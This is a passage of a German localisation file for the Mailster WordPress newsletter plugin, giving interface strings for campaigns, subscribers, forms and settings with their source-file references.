#: classes/manage.class.php:259 msgid "Signup IP Address" msgstr "IP Adresse b. Anmelden" #: classes/forms.class.php:1586 msgid "Widget" msgstr "Widget" #: classes/frontpage.class.php:773 msgid "Add content" msgstr "Inhalt hinzufügen" #: views/forms/detail.php:376 build/forms/form-wrapper/index.js:1 msgid "Double Opt In" msgstr "Double Opt In" #: classes/campaigns.class.php:1742 msgid "Move module down" msgstr "Modul nach unten" #: classes/tinymce.class.php:182 includes/static.php:27 includes/static.php:62 msgid "Signup for the newsletter" msgstr "Den Newsletter abonnieren" #: classes/widget.class.php:542 build/forms/form-wrapper/index.js:1 msgid "Width" msgstr "Breite" #: views/forms/detail.php:71 msgid "Add new Form" msgstr "Neues Formular" #: views/addons/addon.php:72 views/templates/template.php:88 #: views/templates/template.php:101 msgid "Download" msgstr "Download" #: classes/campaigns.class.php:1741 msgid "Move module up" msgstr "Modul nach oben" #: views/settings/delivery.php:119 msgid "Simple" msgstr "Einfach" #: classes/mailster.class.php:1568 classes/mailster.class.php:1596 msgid "Without Registration you are not able to get automatic update or support!" msgstr "Ohne Registrierung sind Updates und Support leider nicht möglich!" #: views/lists/detail.php:43 msgid "Add new List" msgstr "Neue Liste erstellen" #: views/newsletter/submit.php:39 msgid "Move to Trash" msgstr "In den Papierkorb legen" #: views/settings/subscribers.php:45 msgid "Single-Opt-Out" msgstr "Einfaches Abmelden (Single-Opt-Out)" #: classes/mailster.class.php:1293 msgid "Wizard" msgstr "Assistent" #: views/subscribers/detail.php:50 msgid "Add new Subscriber" msgstr "Neuen Abonnenten anlegen" #: classes/dashboard.class.php:130 msgid "My Campaigns" msgstr "Meine Kampagnen" #: classes/precheck.class.php:198 build/forms/form-wrapper/index.js:1 msgid "Size" msgstr "Größe" #: views/dashboard/mb-campaigns.php:42 msgid "Woha! Looks like you havn't sent any campaign yet!" msgstr "Du hast anscheinend noch keine Kampagne gesendet!" #: views/settings/tags.php:28 msgid "Add your custom tags here. They work like permanent tags" msgstr "Füge hier deine eigenen Tags hinzu. Sie funktionieren wie die permanenten Tags" #: classes/update.class.php:160 msgid "Downloading the latest version of Mailster" msgstr "Herunterladen der aktuellen Version von Mailster" #: classes/dashboard.class.php:135 msgid "My Lists" msgstr "Meine Listen" #: views/settings/template.php:29 msgid "Social Services" msgstr "Soziale Medien" #: views/setup/basics.php:43 msgid "Wonder what these {placeholders} are for? Read more about tags %s." msgstr "Willst du wissen für was diese {platzhalter} sind? Lies mehr über Tags %s." #: classes/conditions.class.php:211 classes/lists.class.php:40 #: classes/manage.class.php:1083 classes/privacy.class.php:166 #: views/manage/export.php:95 build/workflows/action/index.js:1 #: build/workflows/conditions/index.js:1 build/workflows/delay/index.js:1 #: build/workflows/email/index.js:1 build/workflows/jumper/index.js:1 #: build/workflows/notification/index.js:1 build/workflows/stop/index.js:1 #: build/workflows/trigger/index.js:1 msgid "Added" msgstr "Hinzugefügt" #: classes/addons.class.php:245 classes/dashboard.class.php:218 #: classes/templates.class.php:870 msgid "Downloading..." msgstr "Download..." #: classes/dashboard.class.php:132 msgid "My Mailster" msgstr "Mein Mailster" #: views/settings/bounce.php:62 msgid "Soft Bounces" msgstr "Soft Bounces" #: includes/cron.php:76 msgid "WordPress Cron in use!" msgstr "WordPress Cron ist in Verwendung!" #: views/setup/basics.php:25 msgid "Address" msgstr "Adresse" #: classes/templates.class.php:1713 msgid "Drop your ZIP file here to upload new template" msgstr "Hier deine ZIP Datei herziehen um neues Template hochzuladen" #: classes/dashboard.class.php:134 msgid "My Subscribers" msgstr "Meine Abonnenten" #: views/lists/detail.php:165 views/subscribers/detail.php:466 msgid "Soft bounce (%d tries)" msgstr "Softbounce (%d Versuche)" #: views/conditions/conditions.php:21 msgid "WordPress User Meta" msgstr "WordPress Benutzerdaten" #: views/settings.php:47 msgid "Advanced" msgstr "Fortgeschritten" #: views/manage/method-upload.php:91 msgid "Drop your list here" msgstr "Hier deine Liste ablegen" #: classes/manage.class.php:422 msgid "Some Auto responder require a signup date. Define it here if it is not set or missing" msgstr "Manche Autoresponder benötigen ein Anmeldedatum. Bestimme es hier falls es nicht gesetzt ist oder fehlt" #: views/settings.php:38 views/settings/wordpress-users.php:57 #: views/settings/wordpress-users.php:58 msgid "WordPress Users" msgstr "WordPress Benutzer" #: classes/forms.table.class.php:33 classes/lists.table.class.php:33 #: classes/subscribers.table.class.php:78 msgid "All" msgstr "Alle" #: classes/settings.class.php:406 views/settings/subscribers.php:79 msgid "Dropdown Menu" msgstr "Dropdown Menü" #: classes/campaigns.class.php:827 classes/forms.class.php:294 #: classes/lists.class.php:36 classes/subscribers.class.php:134 #: patterns/forms.php:248 patterns/forms.php:293 patterns/forms.php:342 #: patterns/forms.php:397 patterns/forms.php:439 patterns/forms.php:498 #: patterns/forms.php:563 views/lists/detail.php:67 #: views/newsletter/optionbar.php:81 views/subscribers/detail.php:119 #: build/workflows/email/index.js:1 msgid "Name" msgstr "Name" #: classes/campaigns.class.php:334 msgid "All Campaigns" msgstr "Alle Kampagnen" #: classes/automation.class.php:996 classes/campaigns.class.php:1393 #: classes/campaigns.class.php:1540 classes/forms.table.class.php:129 #: views/newsletter/submit.php:56 msgid "Duplicate" msgstr "Duplizieren" #: views/settings/subscribers.php:55 msgid "Name Order" msgstr "Namensreihenfolge" #: views/settings/advanced.php:1 msgid "Some of these settings may affect your website. In normal circumstance it is not required to change anything on this page." msgstr "Manche dieser Einstellungen beeinflussen deine Webseite. Normalerweise muss auf dieser Seite nichts geändert werden." #: classes/ajax.class.php:1957 classes/templates.class.php:621 msgid "WordPress is not able to access to your filesystem!" msgstr "WordPress kann nicht auf das Dateisystem zugreifen!" #: views/convert.php:34 msgid "All Set!" msgstr "Alles erledigt!" #: classes/campaigns.class.php:1540 msgid "Duplicate Campaign %s" msgstr "Kampagne %s duplizieren" #: views/lists/detail.php:72 msgid "Name of the List" msgstr "Name der Liste" #: views/settings/authentication.php:78 msgid "Some providers don't allow TXT records with a specific size. Choose less bits in this case" msgstr "Manche Provider erlauben keine TXT Einträge mit einer bestimmten Größe. Verwende eine kleine Bitgröße in diesem Fall" #: classes/helper.class.php:395 msgid "Y/m/d" msgstr "d.m.Y" #: classes/settings.class.php:172 msgid "All rights reserved." msgstr "Alle Rechte vorbehalten." #: classes/campaigns.class.php:1743 msgid "Duplicate module" msgstr "Module duplizieren" #: classes/campaigns.class.php:1752 msgid "Name of the module (click to edit)" msgstr "Name des Moduls (klicken zum bearbeiten)" #: views/settings/texts.php:7 msgid "Some text can get defined on the %s as well" msgstr "Manche Texte können auch auf der %s bestimmt werden" #: classes/settings.class.php:270 includes/updates.php:45 msgid "Yes, unsubscribe me" msgstr "Ja, abmelden" #: views/settings/tags.php:60 msgid "Dynamic Tags" msgstr "Dynamische Tags" #: classes/campaigns.class.php:330 classes/campaigns.class.php:333 msgid "New %s" msgstr "Neue %s" #: views/dashboard/mb-lists.php:34 msgid "Sorry, no Lists found!" msgstr "Keine Listen gefunden!" #: classes/templates.class.php:878 msgid "You are about to update your exiting template files with a new version!" msgstr "Möchtest du wirklich dein existierendes Template mit einer neueren Version überschreiben?" #: views/settings/frontend.php:61 msgid "Allow users to view the next/last newsletters" msgstr "erlaube Besucher zum nächsten/vorherigen Newsletter zu wechseln" #: views/settings/tags.php:61 msgid "Dynamic tags let you display your posts or pages in a reverse chronicle order. Some examples:" msgstr "Dynamische Tags helfen dir deine Artikel und Seiten in umgekehrt-chronologischer Reihenfolge einzubetten. Hier ein paar Beispiele:" #: classes/ajax.class.php:1791 msgid "Sorry, we couldn't deliver your message. Please try again later!" msgstr "Ihre Nachricht konnte leider nicht versendet werden. Bitte probieren Sie es später erneut" #: classes/settings.class.php:421 msgid "You are about to create new DKIM keys. The old ones will get deleted. Continue?" msgstr "Möchtest du wirklich neue SKIM Schlüssel erstellen? Die alten werden dabei gelöscht." #: views/settings/wordpress-users.php:114 msgid "New Comments" msgstr "Neue Kommentare" #: classes/subscribers.class.php:3693 views/subscribers/detail.php:87 #: views/subscribers/detail.php:89 msgid "Source" msgstr "Quelle" #: classes/mailster.class.php:1617 classes/manage.class.php:119 msgid "You are about to delete these subscribers permanently. This step is irreversible!" msgstr "Du bist dabei diese Abonnenten dauerhaft zu löschen. Dies kann nicht rückgängig gemacht werden!" #: views/newsletter/editbar.php:87 views/newsletter/editbar.php:198 msgid "Alt Text" msgstr "Alt Text" #: classes/campaigns.class.php:1753 views/newsletter/submit.php:65 #: views/newsletter/submit.php:181 views/settings/frontend.php:122 #: views/settings/frontend.php:132 views/settings/frontend.php:142 #: views/settings/frontend.php:152 views/settings/frontend.php:183 #: views/setup/homepage.php:27 views/setup/homepage.php:55 #: views/setup/homepage.php:64 views/setup/homepage.php:73 #: views/setup/homepage.php:82 views/setup/homepage.php:122 #: views/setup/homepage.php:138 views/single-newsletter.php:73 msgid "Edit" msgstr "Bearbeiten" #: classes/settings.class.php:731 msgid "New DKIM keys have been created!" msgstr "Neue DKIM Schlüssel wurden erstellt!" #: views/settings/tags.php:39 msgid "Special Tags" msgstr "Spezial Tags" #: classes/templates.class.php:874 msgid "You are about to delete this template %s." msgstr "Möchtest du wirklich das Template %s löschen?" #: classes/queue.class.php:1027 classes/upgrade.class.php:61 msgid "An additional update is required for Mailster!" msgstr "Ein weiteres Update für Mailster ist nötig!" #: classes/campaigns.class.php:332 views/subscribers/detail.php:52 msgid "Edit %s" msgstr "%s bearbeiten" #: classes/campaigns.class.php:5465 msgid "New campaign %1$s has been created and is going to be sent in %2$s." msgstr "Neue Kampagne %1$s wurde erstellt und wird in %2$s gesendet." #: views/settings/tags.php:41 msgid "Special tags display dynamic content and are equally for all subscribers" msgstr "Spezialtags zeigen dynamische Inhalte und sind gleich für alle Abonnenten" #: classes/settings.class.php:425 msgid "You are about to overwrite all WordPress User data with the matching subscriber data. Continue?" msgstr "Du überschreibst alle vorhanden WordPress Benutzer Daten mit den passenden Abonnentendaten. Fortfahren?" #: classes/campaigns.class.php:1763 msgid "An empty link will remove this button! Continue?" msgstr "Kein Link löscht den Button! Fortfahren?" #: classes/block-forms.class.php:604 views/forms/detail.php:73 #: build/form/index.js:233 msgid "Edit Form" msgstr "Formular bearbeiten" #: classes/queue.class.php:798 msgid "New campaign %s has been created!" msgstr "Neue Kampagne %s wurde erstellt!" #: views/settings/delivery.php:86 msgid "Split campaigns" msgstr "Kampagnen teilen" #: classes/settings.class.php:424 msgid "You are about to overwrite all subscriber data with the matching WordPress User data. Continue?" msgstr "Du überschreibst alle vorhanden Abonnentendaten mit den passenden WordPress Benutzer Daten. Fortfahren?" #: classes/mailster.class.php:2026 classes/update.class.php:181 #: classes/update.class.php:201 msgid "An error occurred while updating Mailster!" msgstr "Ein Problem ist beim Aktualisieren von Mailster aufgetreten!" #: classes/notification.class.php:168 msgid "New subscribers to your newsletter!" msgstr "Neue Abonnenten für deinen Newsletter!" #: views/manage/method-upload.php:109 msgid "Split your lists into max 50.000 subscribers each." msgstr "Teile deine Listen in max 50.000 Einträge auf." #: classes/settings.class.php:422 msgid "You are about to overwrite your exists settings with new ones. The old ones will get deleted. Continue?" msgstr "Willst du wirklich deine Einstellungen mit den neuen überschreiben? Die alten werden dabei gelöscht." #: classes/settings.class.php:262 includes/updates.php:59 msgid "An error occurred! Please try again later!" msgstr "Ein Fehler ist aufgetreten! Bitte versuchen Sie es später noch einmal!" #: views/lists/detail.php:48 msgid "Edit List %s" msgstr "Liste %s bearbeiten" #: classes/campaigns.class.php:1238 classes/campaigns.class.php:1398 #: build/forms/form-wrapper/index.js:1 msgid "Start" msgstr "Start" #: classes/settings.class.php:275 msgid "You are already registered" msgstr "Sie sind bereits registriert" #: classes/campaigns.class.php:1788 msgid "An error occurs while uploading" msgstr "Ein Fehler ist beim Hochladen aufgetreten!" #: views/subscribers/user_edit.php:9 msgid "Edit Users Mailster Profile" msgstr "Profil vom Mailster Benutzer bearbeiten" #: classes/campaigns.class.php:340 classes/dashboard.class.php:233 #: classes/privacy.class.php:26 classes/settings.class.php:381 #: classes/settings.class.php:384 includes/static.php:67 msgid "Newsletter" msgstr "Newsletter" #: classes/campaigns.class.php:1238 views/newsletter/submit.php:185 msgid "Start Campaign" msgstr "Kampagne starten" #: classes/mailster.class.php:1620 classes/manage.class.php:127 msgid "You are currently importing subscribers! If you leave the page all pending subscribers don't get imported!" msgstr "Du importierst zur Zeit neue Abonnenten! Wenn du die Seite verlässt werden alle anstehenden Abonnenten nicht importieret!" #: classes/ajax.class.php:2655 msgid "An update to the Mailster translation is available!" msgstr "Ein Sprachupdate für Mailster ist verfügbar!" #: classes/campaigns.class.php:1564 msgid "Edit base" msgstr "Basis bearbeiten" #: classes/mailster.class.php:3218 classes/tinymce.class.php:179 #: views/settings/frontend.php:5 views/setup.php:20 build/form/index.js:233 #: build/homepage-context/index.js:5 build/homepage/index.js:5 msgid "Newsletter Homepage" msgstr "Newsletter Homepage" #: classes/campaigns.class.php:1230 msgid "Start Campaign now" msgstr "Kampagne jetzt starten" #: views/settings/delivery.php:129 msgid "You are currently sending with the %s delivery method" msgstr "Du sendest zur Zeit mit %s" #: classes/queue.class.php:1041 msgid "Another process is currently running the cron process and you have been temporary blocked to prevent duplicate emails getting sent out." msgstr "Ein anderer Prozess läuft zur Zeit und du wurdest vorübergehend blockiert um doppelt gesendete E-Mails zu verhindern." #: views/subscribers/user_edit.php:9 msgid "Edit my Mailster Profile" msgstr "Mein Mailster Profil bearbeiten" #: views/setup/start.php:21 views/setup/start.php:39 msgid "Start Wizard" msgstr "Assistent starten" #: classes/subscribers.class.php:450 msgid "You are not allowed to add subscribers!" msgstr "Du darfst keine Abonnenten hinzufügen!" #: views/newsletter/receivers.php:60 build/workflows/action/index.js:1 #: build/workflows/trigger/index.js:1 msgid "Any List" msgstr "Irgendeine Liste" #: classes/lists.class.php:191 classes/subscribers.class.php:479 msgid "Edit this user" msgstr "Diese Benutzer bearbeiten" #: classes/widget.class.php:125 msgid "Newsletter List" msgstr "Newsletter Liste" #: classes/subscribers.class.php:547 classes/subscribers.class.php:582 msgid "You are not allowed to delete subscribers!" msgstr "Du darfst keine Abonnenten löschen!" #: classes/conditions.class.php:209 classes/form.class.php:844 #: classes/settings.class.php:264 includes/updates.php:43 #: patterns/default-form.php:15 patterns/forms.php:17 patterns/forms.php:48 #: patterns/forms.php:171 patterns/forms.php:252 patterns/forms.php:301 #: patterns/forms.php:350 patterns/forms.php:401 patterns/forms.php:443 #: patterns/forms.php:502 patterns/forms.php:567 patterns/forms.php:731 #: views/newsletter/precheck.php:97 views/settings/texts.php:26 #: views/settings/wordpress-users.php:25 build/workflows/email/index.js:1 #: build/workflows/notification/index.js:1 msgid "Email" msgstr "E-Mail" #: classes/settings.class.php:375 views/settings.php:12 msgid "Newsletter Settings" msgstr "Newsletter Einstellungen" #: classes/campaigns.class.php:1230 msgid "Start now" msgstr "Jetzt starten" #: classes/campaigns.class.php:595 classes/campaigns.class.php:1483 msgid "You are not allowed to duplicate this campaign." msgstr "Du hast nicht die nötigen Rechte um Kampagnen zu duplizieren." #: views/settings/frontend.php:171 msgid "Archive" msgstr "Archiv" #: classes/tinymce.class.php:74 includes/freemius.php:112 msgid "Email address" msgstr "E-Mailadresse" #: views/settings/texts.php:18 msgid "Newsletter Sign up" msgstr "Newsletteranmeldung" #: views/newsletter/submit.php:116 views/newsletter/submit.php:167 msgid "Statistic" msgstr "Statistik" #: classes/subscribers.class.php:454 msgid "You are not allowed to edit subscribers!" msgstr "Du darfst keine Abonnenten bearbeiten!" #: views/settings/frontend.php:176 msgid "Archive Slug" msgstr "Archiv URL Struktur" #: classes/forms.class.php:1359 msgid "Email is missing or wrong" msgstr "E-Mail fehlt oder ist falsch" #: classes/block-forms.class.php:1664 classes/widget.class.php:8 msgid "Newsletter Signup Form" msgstr "Newsletter Anmeldeformular" #: classes/campaigns.class.php:1553 msgid "Statistics" msgstr "Statistik" #: classes/manage.class.php:908 classes/manage.class.php:995 msgid "You are not allowed to export subscribers!" msgstr "Du darfst Abonnenten nicht exportieren!" #: classes/cron.class.php:253 msgid "Are your campaigns not sending? You may have to check your %1$s" msgstr "Werden deine Kamapgnen nicht gesendet? Du musst vielleicht die %1$s überprüfen" #: views/settings/general.php:24 msgid "Embed Images" msgstr "Bilder einbetten" #: classes/campaigns.class.php:343 msgid "Newsletter list" msgstr "Newsletter Liste" #: classes/automation.class.php:806 classes/campaigns.class.php:828 #: classes/campaigns.class.php:4497 classes/form.class.php:305 #: classes/manage.class.php:267 classes/manage.class.php:1062 #: classes/subscribers.class.php:143 views/manage/delete.php:33 #: views/manage/export.php:57 views/manage/export.php:94 #: views/settings/delivery.php:52 views/subscribers/detail.php:137 msgid "Status" msgstr "Status" #: classes/campaigns.class.php:631 classes/campaigns.class.php:1474 msgid "You are not allowed to finish this campaign." msgstr "Du darfst Kampagnen nicht beenden." #: classes/campaigns.class.php:464 msgid "Attachment" msgstr "Anhang" #: classes/forms.class.php:1620 msgid "Embed a button where users can subscribe on any website" msgstr "Binde den Button auf Webseiten ein um ihnen zu erlauben sich anzumelden" #: classes/campaigns.class.php:342 msgid "Newsletter list navigation" msgstr "Newsletter Navigation" #: classes/manage.class.php:1065 views/manage/export.php:87 msgid "Statuscode" msgstr "Statuscode" #: classes/campaigns.class.php:604 classes/campaigns.class.php:1458 msgid "You are not allowed to pause this campaign." msgstr "Du hast nicht die nötigen Rechte um Kampagnen zu pausieren." #: classes/campaigns.class.php:2057 msgid "Attachment doesn't exist or isn't readable!" msgstr "Anhang existiert nicht oder konnte nicht gelesen werden!" #: views/settings/general.php:25 msgid "Embed images in the mail" msgstr "Bilder werden in die Nachrichten eingebettet" #: classes/subscribers.class.php:604 msgid "You are not allowed to publish campaigns!" msgstr "Du darfst Kampagnen nicht veröffentlichen!" #: classes/ajax.class.php:730 classes/campaigns.class.php:2054 msgid "Attachments must not exceed the file size limit of %s!" msgstr "Anhänge dürfen zusammen nicht größer als %s sein!" #: classes/forms.class.php:1590 msgid "Embed your form on any site, no matter if it is your current or a third party one. It's similar to the Twitter button." msgstr "Bette dein Formular auf jeder Seite ein, egal ob es deine aktuelle oder ein fremde ist. Es funktioniert ähnlich dem Twitter Button." #: includes/functions.php:484 msgid "Newsletters" msgstr "Newsletters" #: classes/logs.class.php:125 classes/tinymce.class.php:97 #: views/forms/detail.php:390 views/logging/detail.php:30 #: views/newsletter/details.php:21 views/newsletter/details.php:24 #: views/newsletter/details.php:78 views/newsletter/precheck.php:33 #: views/newsletter/precheck.php:93 build/forms/form-wrapper/index.js:1 #: build/workflows/email/index.js:1 build/workflows/notification/index.js:1 msgid "Subject" msgstr "Betreff" #: classes/campaigns.class.php:613 classes/campaigns.class.php:1450 msgid "You are not allowed to start this campaign." msgstr "Du hast nicht die nötigen Rechte um Kampagnen zu starten." #: views/settings/wordpress-users.php:84 msgid "Attention! This option will remove assigned WordPress Users without further notice. You must have the capability to delete WordPress Users. Administrators and the current user can not get deleted with this option" msgstr "Achtung! Diese Option löscht verknüpfte WordPress User ohne weitere Nachricht. Du benötigst die nötigen Rechte um WordPress User zu löschen. Administratoren und der aktuelle User werden mit dieser Einstellung nicht gelöscht" #: classes/manage.import.abstract.php:83 classes/manage.import.abstract.php:104 #: views/manage/method-paste.php:7 views/manage/method-wordpress.php:38 #: views/setup.php:79 msgid "Next Step" msgstr "Nächster Schritt" #: classes/block-forms.class.php:1105 views/forms/detail.php:288 #: views/settings/texts.php:30 build/forms/form-wrapper/index.js:1 msgid "Submit Button" msgstr "Abschickbutton" #: classes/notification.class.php:176 msgid "You are receiving this email because you have enabled notifications for new subscribers %s" msgstr "Du erhältst diese Benachrichtigung weil du diese für neue Abonnenten %s aktiviert hast" #: views/newsletter/precheck.php:115 views/settings.php:45 msgid "Authentication" msgstr "Authentifizierung" #: classes/mailster.class.php:1562 classes/mailster.class.php:1590 msgid "Enable %s first" msgstr "Zuerst %s aktivieren" #: classes/campaigns.class.php:1084 views/newsletter/delivery.php:308 msgid "Next issue: %s" msgstr "Nächste Ausgabe: %s" #: views/newsletter/submit.php:139 views/newsletter/submit.php:140 msgid "Submit for Review" msgstr "Zur Revision vorlegen" #: classes/notification.class.php:205 msgid "You are receiving this email because you have enabled notifications for unsubscriptions %s" msgstr "Du erhältst diese Benachrichtigung weil du diese für Abonnenten, die sich abgemeldet haben %s aktiviert hast" #: classes/settings.class.php:1678 msgid "Enabling this option may solve connection problems to SMTP servers" msgstr "Das Aktivieren dieser Option kann Probleme bei der Verbindung zu SMTP Servern beheben" #: classes/campaigns.class.php:337 msgid "No %s found" msgstr "Keine %s gefunden" #: classes/settings.class.php:268 classes/tinymce.class.php:192 #: classes/widget.class.php:424 classes/widget.class.php:505 #: includes/updates.php:44 build/form/index.js:229 #: build/homepage-context/index.js:1 build/homepage/index.js:1 msgid "Subscribe" msgstr "Anmelden" #: views/settings/cron.php:37 msgid "You can keep a browser window open with following URL" msgstr "Du kannst ein Browserfenster mit der folgendem Link öffnen" #: views/newsletter/delivery.php:33 msgid "Auto Responder" msgstr "Autoresponder" #: views/settings/general.php:59 msgid "Encoding" msgstr "Kodierung" #: classes/campaigns.class.php:338 msgid "No %s found in Trash" msgstr "Keine %s im Papierkorb gefunden " #: views/settings/frontend.php:129 views/setup/homepage.php:61 msgid "Subscribe Slug" msgstr "Anmeldung" #: views/settings/authentication.php:58 views/settings/authentication.php:64 msgid "You can leave this field blank unless you know what you do" msgstr "Du kannst dieses Feld leer lassen außer du weist was du tust" #: views/settings/texts.php:98 msgid "English" msgstr "Englisch" #: classes/lists.class.php:1240 msgid "No Lists found!" msgstr "Keine Listen gefunden!" #: classes/lists.table.class.php:189 msgid "Subscribe subscribers" msgstr "Abonnenten anmelden" #: classes/queue.class.php:726 msgid "Auto responder campaign %s has been finished and is deactivated!" msgstr "Autoresponder Kampagne %s wurde beendet und deaktiviert!" #: classes/campaigns.class.php:1583 msgid "Enter Campaign Title here" msgstr "Kampagnentitel hier eingeben" #: classes/conditions.class.php:997 views/newsletter/delivery.php:455 msgid "No campaigns available" msgstr "Keine Kampagnen verfügbar" #: views/settings/wordpress-users.php:105 #: views/settings/wordpress-users.php:132 #: views/settings/wordpress-users.php:151 msgid "Subscribe them to these lists:" msgstr "Melde diese in folgende Listen an:" #: views/settings/tags.php:3 msgid "You can set alternative content with %1$s which will be uses if %2$s is not defined. All unused tags will get removed in the final message" msgstr "Du kannst alternativen Inhalt mit %1$s angeben, der verwendet wird falls %2$s nicht definiert ist. Alle nicht verwendeten Tags werden in der endgültigen Nachricht gelöscht" #: classes/campaigns.class.php:313 classes/campaigns.class.php:417 #: classes/campaigns.class.php:421 classes/campaigns.class.php:492 msgid "Autoresponder" msgstr "Autoresponder" #: views/forms/detail.php:96 msgid "Enter Form Name" msgstr "Formbezeichung hier eingeben" #: classes/widget.class.php:420 classes/widget.class.php:500 msgid "Subscribe to our Newsletter" msgstr "Abonniere unseren Newsletter" #: views/settings/cron.php:49 msgid "You can setup an interval as low as one minute, but should consider a reasonable value of 5-15 minutes as well." msgstr "Du kann den Interval auf mindestens eine Minute stellen, solltest aber auch eine bessere Einstellung wie 5-15 Minuten in Erwägung ziehen." #: classes/queue.class.php:1333 msgid "Autoresponder %1$s has caused sending error: %2$s" msgstr "Autoresponder %1$s hat einen Fehler verursacht: %2$s" #: classes/block-forms.class.php:1782 classes/subscribers.class.php:144 #: classes/subscribers.class.php:4140 msgid "Subscribed" msgstr "Abonniert" #: views/settings/delivery.php:29 msgid "You can still send %1$s mails within the next %2$s" msgstr "Du kannst noch %1$s E-Mails innerhalb der nächsten %2$s senden" #: classes/campaigns.class.php:314 classes/campaigns.class.php:421 msgid "Autoresponders" msgstr "Autoresponder" #: views/newsletter/delivery.php:393 msgid "No custom date fields found!" msgstr "Keine benutzerdefinierten Datumsfelder gefunden" #: classes/subscribers.table.class.php:30 build/workflows/action/index.js:1 #: build/workflows/conditions/index.js:1 build/workflows/delay/index.js:1 #: build/workflows/email/index.js:1 build/workflows/jumper/index.js:1 #: build/workflows/notification/index.js:1 build/workflows/stop/index.js:1 #: build/workflows/trigger/index.js:1 msgid "Subscriber" msgstr "Abonnent" #: views/manage.php:54 msgid "You do not have sufficient permissions to access this page." msgstr "Du hast nicht die erforderlichen Rechte, um auf diese Seite zuzugreifen." #: views/forms/detail.php:132 msgid "Available Fields" msgstr "Verfügbare Felder" #: classes/settings.class.php:688 msgid "No data to import" msgstr "Keine Daten zum importieren" #: classes/subscribers.class.php:558 classes/subscribers.class.php:593 msgid "Subscriber %s has been removed" msgstr "Abonnent %s wurde entfernt" #: views/forms/detail.php:17 msgid "You don't have the right permission to add new forms" msgstr "Du hast nicht die Rechte um Formulare hinzuzufügen" #: classes/campaigns.class.php:1768 msgid "Enter name of the list" msgstr "Bitte Name der Liste angeben" #: classes/forms.table.class.php:45 msgid "No forms found" msgstr "Keine Formulare gefunden" #: classes/forms.class.php:1589 classes/tinymce.class.php:189 #: classes/widget.class.php:392 views/forms/detail.php:453 msgid "Subscriber Button" msgstr "Subscriber Button" #: views/lists/detail.php:15 msgid "You don't have the right permission to add new lists" msgstr "Du hast nicht die Berechtigung, neue Listen anzulegen" #: classes/subscribers.class.php:868 msgid "Backend on %s" msgstr "Backend am %s" #: classes/forms.class.php:1660 msgid "Subscriber Count" msgstr "Abonenntenanzahl" #: views/subscribers/detail.php:21 msgid "You don't have the right permission to add new subscribers" msgstr "Du hast nicht die Berechtigung um neue Abonnenten anzulegen" #: views/newsletter/details.php:167 msgid "Environment" msgstr "Umgebung" #: classes/lists.table.class.php:41 msgid "No list found" msgstr "Keine Liste gefunden" #: views/dashboard/mb-subscribers.php:12 msgid "Subscriber Grows" msgstr "Abonnentenzuwachs " #: classes/notification.class.php:1278 msgid "You have %1$s cancellations since %2$s." msgstr "Du hast %1$s Abmeldungen seit %2$s." #: views/forms/detail.php:221 build/forms/form-wrapper/index.js:1 #: build/forms/messages/index.js:1 msgid "Background Color" msgstr "Hintergrundfarbe" #: classes/subscribers.class.php:1948 classes/subscribers.class.php:4143 #: views/subscribers/detail.php:474 build/forms/form-wrapper/index.js:1 msgid "Error" msgstr "Fehler" #: classes/subscribers.class.php:431 classes/subscribers.class.php:536 msgid "Subscriber added" msgstr "Abonnent hinzugefügt" #: classes/notification.class.php:890 msgid "You have %1$s new subscribers since %2$s." msgstr "Du hast %1$s neue Abonnenten seit %2$s." #: classes/template.class.php:460 classes/templates.class.php:1549 msgid "Base" msgstr "Basis" #: views/forms/detail.php:121 views/forms/detail.php:154 #: views/settings/texts.php:14 msgid "Error Message" msgstr "Fehlermeldung" #: classes/ajax.class.php:2173 classes/ajax.class.php:2220 msgid "No or wrong record found for %s. Please adjust the namespace records and add these lines:" msgstr "Kein oder falscher Eintrag gefunden für %s. Bitte passe die Namespace Einträge and und und füge diese Zeilen hinzu:" #: classes/subscribers.class.php:1342 msgid "Subscriber already exists" msgstr "Abonnent bereits vorhanden" #: views/dashboard/mb-subscribers.php:14 msgid "You have %s" msgstr "Du hast %s" #: classes/manage.class.php:299 build/forms/form-wrapper/index.js:1 msgid "Basic" msgstr "Basis" #: views/forms/detail.php:122 views/forms/detail.php:155 #: build/forms/form-wrapper/index.js:1 msgid "Error Message (optional)" msgstr "Fehlermeldung (optional)" #: classes/subscribers.class.php:1076 classes/subscribers.class.php:1280 msgid "Subscriber failed verification" msgstr "Abonnent konnte nicht verifiziert werden" #: classes/notification.class.php:197 msgid "You have new cancellations!" msgstr "Du hast neue Abmeldungen!" #: views/forms/detail.php:252 msgid "Error message Background" msgstr "Hintergrundfarbe Fehlermeldung" #: classes/campaigns.class.php:4998 msgid "No subscriber found" msgstr "Keine Abonnenten gefunden" #: classes/subscribers.class.php:536 msgid "Subscriber saved" msgstr "Abonnent gespeichert" #: views/dashboard/mb-subscribers.php:35 msgid "You have no subscribers yet!" msgstr "Du hast zu Zeit keine Abonnenten!" #: views/forms/detail.php:251 msgid "Error message Color" msgstr "Textfarbe Fehlermeldung" #: classes/lists.class.php:38 classes/subscribers.class.php:42 #: classes/subscribers.class.php:930 classes/subscribers.table.class.php:31 #: classes/widget.class.php:295 classes/widget.class.php:359 #: views/dashboard/mb-quicklinks.php:37 views/lists/detail.php:89 #: views/settings.php:37 views/settings/wordpress-users.php:57 #: views/settings/wordpress-users.php:58 msgid "Subscribers" msgstr "Abonnenten" #: classes/notification.class.php:891 classes/notification.class.php:1279 msgid "You have now %s subscribers in total." msgstr "Du hast jetzt insgesamt %s Abonnenten." #: views/setup/start.php:14 msgid "Before you can start sending your campaigns Mailster needs some info to get started." msgstr "Bevor du mit dem Versenden deiner Kampagnen loslegen kannst braucht Mailster ein paar Informationen." #: classes/mailster.class.php:1606 msgid "Estimate time left: %s minutes" msgstr "Verbleibende Zeit: ungefähr %s Minuten" #: classes/subscribers.table.class.php:97 msgid "No subscribers found" msgstr "Keine Abonnenten gefunden" #: classes/notification.class.php:1001 msgid "Subscribers are located in %s different countries" msgstr "Abonnenten kommen aus %s verschiedenen Ländern" #: classes/settings.class.php:171 msgid "You have received this email because you have subscribed to %s as {email}. If you no longer wish to receive emails please {unsub}." msgstr "Sie erhalten diese E-Mail weil Sie sich mit der Adresse {email} bei %s angemeldet haben. Wenn Sie keine E-Mails mehr erhalten möchten, können Sie sich hier {unsub}." #: views/settings/authentication.php:89 msgid "Bit Size" msgstr "Bitgröße" #: classes/manage.class.php:411 msgid "Existing subscribers" msgstr "vorhandene Abonnenten" #: classes/lists.class.php:128 msgid "Subscribers have been subscribed" msgstr "Abonnenten wurden angemeldet" #: classes/settings.class.php:261 msgid "You have successfully unsubscribed!" msgstr "Sie haben sich erfolgreich abgemeldet!" #: views/settings/bounce.php:5 msgid "Bounce 